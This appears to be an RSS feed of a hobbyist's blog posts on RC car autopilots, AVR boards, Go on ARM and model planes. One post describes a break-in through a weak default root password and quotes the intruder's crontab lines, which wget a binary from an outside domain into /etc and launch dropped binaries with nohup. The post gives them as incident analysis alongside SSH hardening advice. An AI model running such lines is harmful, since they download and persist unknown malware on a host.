&lt;p>There’s two versions of the display with two controller chips. fbtft required some patching which I’ll send upstream after company review.&lt;/p>
&lt;p>I’m tempted to put
&lt;a href="https://www.google.com/search?q=moon&amp;#43;gerty&amp;amp;tbm=isch" target="_blank" rel="noopener">GERTY&lt;/a>‘s face from Moon on it while it drives about.&lt;/p></description></item><item><title>Shorter boot time on the Arietta G25</title><link>https://juju.nz/michaelh/2014/07/shorter-boot-time-on-the-arietta-g25/</link><pubDate>Sun, 13 Jul 2014 19:25:45 +0000</pubDate><guid>https://juju.nz/michaelh/2014/07/shorter-boot-time-on-the-arietta-g25/</guid><description>&lt;p>Short story: my
&lt;a href="http://www.acmesystems.it/arietta" target="_blank" rel="noopener">Arietta G25&lt;/a> now boots to prompt in 3.9 s instead of the stock 50.7 s. Nice.&lt;/p>
&lt;p>I had a hack about with reducing the boot time of the Arietta G25 ARM9 based Linux board. I’m planning on doing some kernel hacking so shorter is better as it cuts the build/push/test cycle down.&lt;/p>
&lt;p>My log is
&lt;a href="https://juju.nz/michaelh/michaelh/nppilot/boottime.html">here&lt;/a>. I pulled the usual tricks like switching to custom init scripts (eck), dropping udev for mdev, and doing things like USB Ethernet initialisation as late as possible.&lt;/p>
&lt;p>I had a few surprises: LZO is faster than Gzip (despite being bigger and taking longer to load from SD), -O2 is faster to boot than -Os (despite being heavier on the cache), and switching from 115200 baud to 460800 also made a difference.&lt;/p>
&lt;p>This is all against a Chromebook host with Crouton. The USB Ethernet also works fine once I switched the board from EEM to ECM mode.&lt;/p></description></item><item><title>Arietta 25</title><link>https://juju.nz/michaelh/2014/06/arietta-25/</link><pubDate>Sun, 29 Jun 2014 19:51:29 +0000</pubDate><guid>https://juju.nz/michaelh/2014/06/arietta-25/</guid><description>&lt;p>I picked up two
&lt;a href="http://www.acmesystems.it/" target="_blank" rel="noopener">Acme Systems&lt;/a>
&lt;a href="http://www.acmesystems.it/arietta" target="_blank" rel="noopener">Arietta G25&lt;/a>‘s. They’re a tiny Atmel ARM9 powered board with most of the I/O out on a 0.1″ header. I hope to hook one up to a GPS to send up in my plane and record the track and speed.&lt;/p>
&lt;p>Some random notes:&lt;/p>
&lt;p>The board shows up as a
&lt;a href="https://en.wikipedia.org/wiki/Ethernet_over_USB" target="_blank" rel="noopener">USB CDC EEM&lt;/a> Ethernet adapter. ChromeOS includes the CDC Ether but not the EEM driver. I built the
&lt;a href="https://chromium.googlesource.com/chromiumos/third_party/kernel/" target="_blank" rel="noopener">chromeos-3.8.11&lt;/a> EEM driver from source and it worked just fine.&lt;/p>
&lt;p>The usual SSH port forwarding trick works well for installing extra packages. Run
&lt;a href="http://www.pps.univ-paris-diderot.fr/~jch/software/polipo/" target="_blank" rel="noopener">Polipo&lt;/a> somewhere on your network, SSH into the board with port forwarding (&lt;code>-R 8123:proxy-name:8123&lt;/code>), set the proxy (&lt;code>export http_proxy=http://localhost:8123/&lt;/code>), and apt-get away.&lt;/p>
&lt;p>The default hostname is arietta. Add it to the localhost line in &lt;code>/etc/hosts&lt;/code> to make sudo faster.&lt;/p>
&lt;p>The default golang packages that come with x86_64 Ubuntu Trusty work great for cross compiling, and the statically linked binaries run on the board with no extra support. Try &lt;code>GOARCH=arm GOARM=5 go build&lt;/code>.&lt;/p>
&lt;p>I can’t figure out how to build a Device Tree script into the binary form. The Linux kernel uses &lt;code>#include&lt;/code> and abuses the C preprocessor, but you need a whole set of flags to cut the extra noise that cpp adds so that dtc can still parse the output. Copying into the Kernel tree works fine.&lt;/p></description></item><item><title>Some grass trimming</title><link>https://juju.nz/michaelh/2014/06/some-grass-trimming/</link><pubDate>Sun, 22 Jun 2014 17:38:25 +0000</pubDate><guid>https://juju.nz/michaelh/2014/06/some-grass-trimming/</guid><description>&lt;p>Two good runs with my plane today, including a good looking flare out on the second landing. The plane pulled up, stalled, and correctly came down on its belly.&lt;/p>
&lt;p>The very first try was… unfortunate. I decided to take off down wind so I could have the sun behind me and a good, empty field in front. The plane stalled and somehow went to full throttle, cutting grass and leaving this for a propeller:&lt;/p>
&lt;p>
&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/06/IMG_20140622_191624.jpg" target="_blank" rel="noopener">&lt;img src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/06/IMG_20140622_191624-1024x768.jpg" alt="Not much left of the prop" width="584" height="438" class="aligncenter size-large wp-image-179" srcset="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/06/IMG_20140622_191624-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/06/IMG_20140622_191624-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/06/IMG_20140622_191624-400x300.jpg 400w" sizes="(max-width: 584px) 100vw, 584px" />&lt;/a>&lt;/p></description></item><item><title>Up and down again</title><link>https://juju.nz/michaelh/2014/06/up-and-down-again/</link><pubDate>Sun, 01 Jun 2014 10:03:59 +0000</pubDate><guid>https://juju.nz/michaelh/2014/06/up-and-down-again/</guid><description>&lt;p>This is what success with a Multiplex Dogfighter looks like:&lt;/p>
&lt;p>
&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/06/IMG_20140601_111204.jpg" target="_blank" rel="noopener">&lt;img src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/06/IMG_20140601_111204-768x1024.jpg" alt="Right side up" width="584" height="778" class="aligncenter size-large wp-image-173" srcset="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/06/IMG_20140601_111204-768x1024.jpg 768w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/06/IMG_20140601_111204-225x300.jpg 225w" sizes="(max-width: 584px) 100vw, 584px" />&lt;/a>&lt;/p>
&lt;p>The canopy is on, the wing is on, and the battery isn’t kissing the motor. Success!&lt;/p>
&lt;p>Pro tip: wear long pants when flying else the long grass will make you regret.&lt;/p></description></item><item><title>Stopping ‘PAM service(sshd) ignoring max retries’ errors in syslog</title><link>https://juju.nz/michaelh/2014/04/stopping-pam-servicesshd-ignoring-max-retries-errors-in-syslog/</link><pubDate>Tue, 22 Apr 2014 17:25:12 +0000</pubDate><guid>https://juju.nz/michaelh/2014/04/stopping-pam-servicesshd-ignoring-max-retries-errors-in-syslog/</guid><description>&lt;p>Seeing messages like &lt;code>sshd[28778]: PAM service(sshd) ignoring max retries; 6 &amp;gt; 3&lt;/code> in auth.log? It’s caused by pam_unix disagreeing with sshd on how many times a user can retry their password before getting disconnected. To stop it, add &lt;code>MaxAuthTries 3&lt;/code> to &lt;code>/etc/ssh/sshd_config&lt;/code>.&lt;/p></description></item><item><title>Huffman coding on NMEA sentances</title><link>https://juju.nz/michaelh/2014/04/huffman-coding-on-nmea-sentances/</link><pubDate>Sun, 13 Apr 2014 19:12:47 +0000</pubDate><guid>https://juju.nz/michaelh/2014/04/huffman-coding-on-nmea-sentances/</guid><description>&lt;p>I’m impressed with how well Huffman encoding works on the very verbose, very repetitive, ASCII based NMEA GPS sentances. I hacked up a Python script that bakes a fixed dictionary from example data and a device side C++ encoder that encodes based on the dictionary. The encoder is 46 statements, uses ~10 bytes of RAM, and still gets almost 3:1 compression.&lt;/p>
&lt;p>For comparison, on my 135,548 byte test file:&lt;/p>
&lt;ul>
&lt;li>Treating each character as a symbol gives 58,749 B (2.30x)
&lt;ul>
&lt;li>Treating the talker (‘GPGGA’), and each non-numeric field as a symbol gives 46,104 B (2.94x)
&lt;ul>
&lt;li>lzop gives 22,161 B (6.12x)
&lt;ul>
&lt;li>gzip gives 12,167 B (11.2x) &lt;/ul>
The end goal is to strap a GPS, LPC810, and 32 KiB data flash to my plane and record the track while flying over the
&lt;a href="https://www.google.com/maps/place/Sportplatz&amp;#43;Allmend&amp;#43;Brunau/@47.35544,8.521636,17z/data=!3m1!4b1!4m2!3m1!1s0x479009ef454e0d5f:0xac77c825eb303954" target="_blank" rel="noopener">Allmend&lt;/a>. Off the shelf is too easy.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></description></item><item><title>Three days to posession</title><link>https://juju.nz/michaelh/2014/03/three-days-to-posession/</link><pubDate>Mon, 31 Mar 2014 18:19:57 +0000</pubDate><guid>https://juju.nz/michaelh/2014/03/three-days-to-posession/</guid><description>&lt;p>As an experiment, I hooked up a spare ARM machine to the internet and left it running Tor. It only took three days for a script kiddie to break in, as it turns out the pre-built rootfs I used has a poor default root password.&lt;/p>
&lt;p>So the lessons are:&lt;/p>
&lt;ul>
&lt;li>Always clear the root password.
&lt;ul>
&lt;li>Disable root login in sshd_config.
&lt;ul>
&lt;li>
&lt;p>Disable password logins in sshd_config and use keys only. &lt;/ul>
The particular virus uses Perl to run a script that masquerades as &lt;tt>/usr/sbin/apache/log&lt;/tt>. It overwrites &lt;tt>/var/spool/cron/crontab/root&lt;/tt> to fetch various things over reboot including writing various binaries like &lt;tt>/etc/atddd&lt;/tt>. Some example lines:&lt;/p>
&lt;pre>*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>*/99 * * * * nohup /etc/cupsdd &amp;gt; /dev/null 2&amp;gt;&amp;amp;1&amp;amp;
*/100 * * * * nohup /etc/kysapd &amp;gt; /dev/null 2&amp;gt;&amp;amp;1&amp;amp;
&lt;/pre>&lt;/p>
&lt;pre>&lt;code> These are all x86 statically linked binaries. I don&amp;amp;#8217;t think they&amp;amp;#8217;re run too good on ARM 🙂
Time to nuke the system. It&amp;amp;#8217;s the only way to be sure.&lt;/code>&lt;/pre></description></item><item><title>First flying of the year</title><link>https://juju.nz/michaelh/2014/02/first-flying-of-the-year/</link><pubDate>Sun, 23 Feb 2014 15:03:03 +0000</pubDate><guid>https://juju.nz/michaelh/2014/02/first-flying-of-the-year/</guid><description>&lt;p>I dusted my
&lt;a href="http://www.parkzone.com/Products/Default.aspx?ProdID=PKZ4400" target="_blank" rel="noopener">T-28 Trojan&lt;/a> off and took it for a fly in the
&lt;a href="https://goo.gl/maps/ZBqkB" target="_blank" rel="noopener">Allmend&lt;/a> today. Hard to say no to such nice weather. I could even feel my fingers when I got back!&lt;/p>
&lt;p>
&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140223_155354.jpg" target="_blank" rel="noopener">&lt;img src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140223_155354-300x225.jpg" alt="IMG_20140223_155354" width="300" height="225" class="alignnone size-medium wp-image-151" srcset="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140223_155354-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140223_155354-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140223_155354-400x300.jpg 400w" sizes="(max-width: 300px) 100vw, 300px" />&lt;/a>&lt;/p></description></item><item><title>Unstable heading</title><link>https://juju.nz/michaelh/2014/02/unstable-heading/</link><pubDate>Sun, 16 Feb 2014 19:48:42 +0000</pubDate><guid>https://juju.nz/michaelh/2014/02/unstable-heading/</guid><description>&lt;p>The replacement wishbone arrived so the cars in good shape, but still no luck with the heading controller. I can get it to slowly oscillate along a straight line by using a low Kp and restricting the steering, but the step response is poor. Adding a differential term based off the GPS heading didn’t help and showed up the high frequency noise you’d expect from a differential.&lt;/p>
&lt;p>I suspect there’s quite a bit of lag in the GPS heading and that it has a hard time calculating on tight, small radius turns. This seems reasonable as the heading must come from the velocity angle or difference in position. Measuring and plotting would help…&lt;/p>
&lt;p>Next step is to wire up the MPU-6050 based gyro I got off ebay.
&lt;a href="http://www.i2cdevlib.com/" target="_blank" rel="noopener">i2cdevlib&lt;/a> has a driver for it that uses the
&lt;a href="https://code.google.com/p/simplo/" target="_blank" rel="noopener">Fastwire&lt;/a> ATMEGA I2C library, but I’ve stripped out so much there’s not much original code left. The board is physically a bit tight so it’ll be tricky to fit.&lt;/p></description></item><item><title>Heading controller progress</title><link>https://juju.nz/michaelh/2014/02/heading-controller-progress/</link><pubDate>Sun, 02 Feb 2014 16:55:18 +0000</pubDate><guid>https://juju.nz/michaelh/2014/02/heading-controller-progress/</guid><description>&lt;p>The heading controller is basically working. The big changes were reducing the maximum steering angle to reducing how much trouble the controller can get itself into, and putting the gain on the dial so I could tune it while driving. There’s still a lot of slow oscillation so I I’ll add a differential term to counter how steering angle integrates to heading.&lt;/p>
&lt;p>The reliability problem has gone after switching from the golang
&lt;a href="http://golang.org/cmd/gc/" target="_blank" rel="noopener">gc&lt;/a> compiler to
&lt;a href="http://gcc.gnu.org/onlinedocs/gccgo/" target="_blank" rel="noopener">gccgo&lt;/a>. I think there’s a problem with the runtime as the whole app locks up and gdb reports all threads being in a function with ‘futex’ in the name. I want to report this to the golang team, but how do you reduce “a 10 thread 1000 line program, on ARM, on a random kernel, in the cold, in a noisy environment, sometimes locks up after 10 minutes of activity.”&lt;/p>
&lt;p>Next step is the differential term. I only have GPS heading so I’ll look at the run data and see how noisy the heading differential is. Getting a
&lt;a href="http://www.adafruit.com/products/1032" target="_blank" rel="noopener">gyro&lt;/a> is tempting.&lt;/p>
&lt;p>Actually, the zeroth step is replacing the
&lt;a href="http://www.conrad.ch/ce/de/product/232789/Reely-EL347FEL347R-Ersatzteil-Untere-Querlenker-vorne-hinten" target="_blank" rel="noopener">front wishbone&lt;/a>:&lt;/p>
&lt;p>
&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140202_165208.jpg" target="_blank" rel="noopener">&lt;img src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140202_165208-300x225.jpg" alt="IMG_20140202_165208" width="300" height="225" class="alignnone size-medium wp-image-138" srcset="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140202_165208-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140202_165208-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140202_165208-400x300.jpg 400w" sizes="(max-width: 300px) 100vw, 300px" />&lt;/a>&lt;/p>
&lt;p>I must have half broken it in the first Great Crash, and last nights glue job didn’t hold. Conrad want an excessive 50 CHF including shipping for two of them and a new bumper. German word of the day: a bumper is the much more awesome
&lt;a href="http://www.conrad.ch/ce/de/product/223353/Reely-MV1401-Ersatzteil-Frontrammer" target="_blank" rel="noopener">Frontrammer&lt;/a>.&lt;/p></description></item><item><title>Adding watchdogs to track down a halt</title><link>https://juju.nz/michaelh/2014/02/adding-a-watchdog-to-track-down-a-halt/</link><pubDate>Sat, 01 Feb 2014 20:39:17 +0000</pubDate><guid>https://juju.nz/michaelh/2014/02/adding-a-watchdog-to-track-down-a-halt/</guid><description>&lt;p>The car controller is dropping out now and again for no obvious reason. I thought it was due to the cold changing the internal RC oscillator frequency and making the serial communications unreliable, but I’ve switched to a 12 MHz crystal and it’s no better. The problem doesn’t happen inside, so I suspect it’s interference from the motor causing a serial error which the serial driver locks up on. Restarting the program without resetting the hardware clears the fault so I should be able to handle it in software as well.&lt;/p>
&lt;p>I’ve added a watchdog on all of the interesting dimensions: GPS data, GPS lock, input from the remote, heartbeats from the board, and two-way communications via a ping. Hopefully the fault will now show up in the logs.&lt;/p>
&lt;p>I’ll dump the message and error counter to the log as well to see if the rates change when driving.&lt;/p>
&lt;p>Heh, next thing you know my car will be running Borgmon…&lt;/p></description></item><item><title>Fixing bad AVR fuses the hard(er) way</title><link>https://juju.nz/michaelh/2014/01/fixing-bad-avr-fuses-the-harder-way/</link><pubDate>Wed, 29 Jan 2014 20:01:40 +0000</pubDate><guid>https://juju.nz/michaelh/2014/01/fixing-bad-avr-fuses-the-harder-way/</guid><description>&lt;p>Lesson for the day: always put the big ICs in sockets. I fitted a crystal to the AVR on the interface board yesterday and managed to brick the chip by setting the fuse values to use an oscillator that didn’t exist. Thanks for the day: the person who invented
&lt;a href="http://en.wikipedia.org/wiki/Desoldering#Desoldering_braid" target="_blank" rel="noopener">desoldering braid&lt;/a>. It’s awesome and got the pins clean enough that I could just lever the old chip out.&lt;/p>
&lt;p>I’ve now fitted a socket, a new processor, and gone to a 12 MHz crystal. This should take care of the serial baud rate problems when the chip is cold and gives me a bit more resolution on the control signals out to the servos.&lt;/p></description></item><item><title>Heading controller tests</title><link>https://juju.nz/michaelh/2014/01/heading-controller-tests/</link><pubDate>Sun, 26 Jan 2014 20:27:40 +0000</pubDate><guid>https://juju.nz/michaelh/2014/01/heading-controller-tests/</guid><description>&lt;p>The heading controller didn’t work out as well. I had one bug when converting from 0..360 degrees to -Pi..Pi radians, but most of the problems were due to reliability and a lack of speed.&lt;/p>
&lt;p>You need quite a bit of room when testing as you need to go &amp;gt; 15 km/h to get a good heading from the GPS and to give the wheels something to turn against. Using the three position switch to change modes and dump back into manual mode works well, so I only had a few low speed bumps.&lt;/p>
&lt;p>There’s a reliability problem in the communications between the I/O board and the BeagleBone which I suspect is due to temperature. I’m using the internal RC osciallator on the AVR and, according to the datasheet, the frequency may change ~0.1 MHz between my normal toasty testing place inside and the zero degrees outside. Time to fit a crystal and perhaps take it up to 20 MHz at the same time to give lower noise in the software PWM. The upgrade may be fun as I’ve soldered the AVR onto the board – if I burn the fuses wrong then I don’t know if I can recover the chip without desoldering it.&lt;/p></description></item><item><title>Speed controller test</title><link>https://juju.nz/michaelh/2014/01/speed-controller-test/</link><pubDate>Sun, 19 Jan 2014 16:26:20 +0000</pubDate><guid>https://juju.nz/michaelh/2014/01/speed-controller-test/</guid><description>&lt;p>The speed controller is working well. It’s a simple PI controller but was easy to tune and handles the moderate slope of the road OK. The speed wasn’t very stable at 10 km/s as the motor and gearing doesn’t like going that low, but it was much better at 17.5 km/h (Ethan suggested 20, I suggested 15, we compromised).&lt;/p>
&lt;p>Adding the ‘P’ term made a big difference to the step response.&lt;/p>
&lt;p>
&lt;a href="https://juju.net.nz/michaelh/video/Speed%20Controller%20Test.mp4" target="_blank" rel="noopener">Speed controller test&lt;/a>&lt;/p></description></item><item><title>It’s oscillating!</title><link>https://juju.nz/michaelh/2014/01/its-oscillating/</link><pubDate>Sun, 12 Jan 2014 19:38:36 +0000</pubDate><guid>https://juju.nz/michaelh/2014/01/its-oscillating/</guid><description>&lt;p>I’ve hooked in the demands from the rover to the control board and added a simple PID based speed controller. The three position switch on the remote takes the car from manual control to auto with speed=0 to auto with speed=10 km/h. I’ve hooked in the dial on the remote to change the Ki term so I can fiddle with the response while the car is running.&lt;/p>
&lt;p>
&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153303.jpg" target="_blank" rel="noopener">&lt;img src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153303-300x225.jpg" alt="IMG_20140112_153303" width="300" height="225" class="alignnone size-medium wp-image-114" srcset="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153303-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153303-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153303-400x300.jpg 400w" sizes="(max-width: 300px) 100vw, 300px" />&lt;/a>&lt;/p>
&lt;p>
&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153220.jpg" target="_blank" rel="noopener">&lt;img src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153220-300x225.jpg" alt="IMG_20140112_153220" width="300" height="225" class="alignnone size-medium wp-image-116" srcset="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153220-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153220-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153220-400x300.jpg 400w" sizes="(max-width: 300px) 100vw, 300px" />&lt;/a>&lt;/p>
&lt;p>It worked quite well, but I caused a ding while fiddling: the gain was high enough to cause the speed to oscillate (peak ~= 30 km/h, with about 5 s period) and it surged into the curb. The bumper worked well, but the rover battery moved forward and put a hole in the box.&lt;/p>
&lt;p>Next is adding a deadband to give finer control and better limits on the maximum drive and integral.&lt;/p></description></item><item><title>The driving lunchbox</title><link>https://juju.nz/michaelh/2014/01/the-driving-lunchbox/</link><pubDate>Sat, 04 Jan 2014 14:52:02 +0000</pubDate><guid>https://juju.nz/michaelh/2014/01/the-driving-lunchbox/</guid><description>&lt;p>I found a good container to house the electronics on my
&lt;a href="https://juju.net.nz/src/nppilot.git/" target="_blank" rel="noopener">never-complete autopilot project&lt;/a>. Here’s some pictures of it mounted onto the car:&lt;/p>
&lt;p>
&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344421.jpg" target="_blank" rel="noopener">&lt;img src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344421-300x225.jpg" alt="IMG_20140104_134442" width="300" height="225" class="alignnone size-medium wp-image-105" srcset="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344421-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344421-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344421-400x300.jpg 400w" sizes="(max-width: 300px) 100vw, 300px" />&lt;/a>&lt;/p>
&lt;p>
&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344172.jpg" target="_blank" rel="noopener">&lt;img src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344172-300x225.jpg" alt="IMG_20140104_134417" width="300" height="225" class="alignnone size-medium wp-image-107" srcset="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344172-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344172-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344172-400x300.jpg 400w" sizes="(max-width: 300px) 100vw, 300px" />&lt;/a>&lt;/p>
&lt;p>
&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344061.jpg" target="_blank" rel="noopener">&lt;img src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344061-300x225.jpg" alt="IMG_20140104_134406" width="300" height="225" class="alignnone size-medium wp-image-108" srcset="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344061-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344061-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344061-400x300.jpg 400w" sizes="(max-width: 300px) 100vw, 300px" />&lt;/a>&lt;/p>
&lt;p>The car is a Conrad
&lt;a href="http://www.conrad.de/ce/de/product/376809/Reely-Rhino-III-110-Modellauto-Elektro-Buggy-4WD-EP-250B-RtR-24-GHz" target="_blank" rel="noopener">Rhino III buggy&lt;/a>. It’s a cheapie house brand, but I’ve been really happy the toughness and level of technology so far. Two of the wheels fell off due to poor self-locking nuts but they were an easy fix. The mud is there for authenticity.&lt;/p>
&lt;p>The container is a lunch box which gives me a 180 x 130 mm working area, some protection, and an easy way to keep out the dust. The plastic is a bit brittle so I’ll replace it in the future. The standoffs are M6 x 60 and are far too meaty for the job. I’m a bit worried the container will flex with vibration but it should stiffen up when I screw the
&lt;a href="http://beagleboard.org/products/beaglebone%20black" target="_blank" rel="noopener">Beaglebone Black&lt;/a> into it. The clearance from the hot motor should be enough.&lt;/p>
&lt;p>Next step is power for the computer. I’m thinking a ~1000 mAh 2 cell Lipo which should give a couple of hours of life.&lt;/p></description></item><item><title>Supervisor is working</title><link>https://juju.nz/michaelh/2013/12/supervisor-is-working/</link><pubDate>Sun, 29 Dec 2013 20:51:52 +0000</pubDate><guid>https://juju.nz/michaelh/2013/12/supervisor-is-working/</guid><description>&lt;p>The supervisor for my autopilot is working. This is a fairly critical piece that runs on the AVR I/O board and handles the handover between the manual remote, the autopilot, and any safeties.&lt;/p>
&lt;p>This means I have:&lt;/p>
&lt;ul>
&lt;li>Multi-channel PWM input from the RC receiver.
&lt;ul>
&lt;li>A link with the Go based, BeagleBone hosted pilot that receives demands.
&lt;ul>
&lt;li>A state machine that handles remote to pilot handover.
&lt;ul>
&lt;li>Throttle shutdown on remote loss, pilot loss, and resume on low throttle.
&lt;ul>
&lt;li>And indicators for all. &lt;/ul>
There’s many hacks, like using polling instead of triggering on an input cycle, but it’s getting closer to being safe to try on the real car.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></description></item><item><title>First tries with Go</title><link>https://juju.nz/michaelh/2013/12/first-tries-with-go/</link><pubDate>Mon, 23 Dec 2013 19:20:36 +0000</pubDate><guid>https://juju.nz/michaelh/2013/12/first-tries-with-go/</guid><description>&lt;p>I’d like to learn
&lt;a href="http://golang.org" target="_blank" rel="noopener">Go&lt;/a>, so I’m considering using for the command side of my never complete self driving RC truck project. Here’s some quick notes after a night of hacking:&lt;/p>
&lt;ul>
&lt;li>
&lt;a href="http://golang.org/doc/effective_go.html" target="_blank" rel="noopener">Effective Go&lt;/a> is short, detailed, and just right if you’re happy in other languages
&lt;ul>
&lt;li>Go 1.2 builds cleanly on a Samsung ARM Chromebook in a Ubuntu Saucy Crouton chroot
&lt;ul>
&lt;li>The emacs packages are in misc/emacs. Copy to &lt;code>~/.emacs.d/lisp&lt;/code>
&lt;ul>
&lt;li>Inside emacs, try &lt;code>go-mode&lt;/code> and &lt;code>gofmt&lt;/code>
&lt;ul>
&lt;li>
&lt;p>
&lt;a href="http://golang.org/pkg/encoding/binary/" target="_blank" rel="noopener">encodings/binary&lt;/a> can encode and decode bytes to structs, so that takes care of the message parsing. &lt;/ul>
The target machine is a ARM Cortex-A8 based BeagleBone Black and so far the ARM support seems first class.&lt;/p>
&lt;p>Aside: You can do a surprising amount in GCC Go without touching the runtime. I wonder if you could write basic code for the AVR in Go?&lt;/p>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></description></item><item><title>Christmas star light</title><link>https://juju.nz/michaelh/2013/12/christmas-star-light/</link><pubDate>Sun, 22 Dec 2013 16:36:35 +0000</pubDate><guid>https://juju.nz/michaelh/2013/12/christmas-star-light/</guid><description>&lt;p>We’ve got some Christmas stars in the window that needed some illumination. I hacked together a Olimex
&lt;a href="https://www.olimex.com/Products/Duino/AVR/OLIMEXINO-85-ASM/open-source-hardware" target="_blank" rel="noopener">OLIMEXINO-85&lt;/a>, a 8 mm RGB led, and the support components to make this:&lt;/p>
&lt;p>
&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/IMG_2583.jpg" target="_blank" rel="noopener">&lt;img class="alignnone size-medium wp-image-85" alt="IMG_2583" src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/IMG_2583-300x200.jpg" width="300" height="200" srcset="https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/IMG_2583-300x200.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/IMG_2583-449x300.jpg 449w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/IMG_2583.jpg 1024w" sizes="(max-width: 300px) 100vw, 300px" />&lt;/a>&lt;/p>
&lt;div style="width: 640px; " class="wp-video">
&lt;!--[if lt IE 9]>&lt;![endif]-->&lt;video class="wp-video-shortcode" id="video-81-1" width="640" height="427" preload="metadata" controls="controls">&lt;source type="video/mp4" src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/Vid-20131222-163519-1.m4v?_=1" />
&lt;p>&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/Vid-20131222-163519-1.m4v">
&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/Vid-20131222-163519-1.m4v" target="_blank" rel="noopener">https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/Vid-20131222-163519-1.m4v&lt;/a>&lt;/a>&lt;/video>&lt;/p>
&lt;/div>
&lt;p>The video is a one-frame-per-second timelapse (thanks Android!). It’s hard to see as the LED is so bright that the camera is saturating but it’s 60 s on white, 10 s transition to the next colour, 10 s there, then 10 s transition back to white. The colour cycles around the colour wheel, although the purple and cyan are a bit subtle.&lt;/p>
&lt;p>Code is at
&lt;a href="https://juju.net.nz/src/hacks.git/tree/christmas" target="_blank" rel="noopener">https://juju.net.nz/src/hacks.git/tree/christmas&lt;/a>.&lt;/p></description></item><item><title>Regulator board</title><link>https://juju.nz/michaelh/2013/12/regulator-board/</link><pubDate>Fri, 20 Dec 2013 19:40:02 +0000</pubDate><guid>https://juju.nz/michaelh/2013/12/regulator-board/</guid><description>&lt;p>
&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/wpid-IMG_20131220_203548.jpg" target="_blank" rel="noopener">&lt;img title="IMG_20131220_203548.jpg" class="alignnone size-full" alt="image" src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/wpid-IMG_20131220_203548.jpg" />&lt;/a>&lt;/p>
&lt;p>
